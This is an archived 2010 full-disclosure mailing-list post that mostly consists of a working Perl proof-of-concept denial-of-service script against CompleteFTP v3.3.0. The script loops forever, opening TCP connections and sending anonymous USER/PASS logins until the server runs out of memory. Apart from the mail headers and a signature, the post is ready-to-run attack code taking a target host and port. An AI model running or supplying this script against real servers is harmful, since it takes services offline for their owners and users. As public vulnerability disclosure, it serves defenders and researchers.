New User, Welcome!     Login

CompleteFTP v3.3.0 - Remote Memory Consumption DoS

From: "Mehdi Mahdjoub [SYSDREAM]" <m mahdjoub sysdream com>
To: full-disclosure lists grok org uk, bugtraq securityfocus com
Cc:
Subject: CompleteFTP v3.3.0 - Remote Memory Consumption DoS
Date: Mon - Apr 19, 2010 04:02 AM


#!/usr/bin/perl
#
# Title:   CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author:  Jonathan Salwan <j.salwan@sysdream.com>
# Web:     http://www.shell-storm.org | http://www.sysdream.com
#
#
# Advisories: http://www.sysdream.com/article.php?story_id=331&section_id=78
# 
# ~60 sec for satured ~2Go RAM
#

use IO::Socket;

print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";

        if (@ARGV < 1)
                {
                print "[-] Usage: <file.pl> <host> <port>\n";
                print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
                exit;
                }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $login  = "USER anonymous\r\n";
        $pwd    = "PASS anonymous\r\n";

        $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

        print "Please Wait...\n";

        while(){
                $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
                $socket->recv($answer,2048);
                $socket->send($login);
                $socket->send($pwd);
                }



--
Mehdi Mahdjoub
Consultant Sysdream IT Security
Responsable communication
Webmaster

Sysdream 
4 Impasse de la gendarmerie
93400 Saint Ouen
France







Copyright © 1995-2012 LinuxRocket.net. All rights reserved.

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!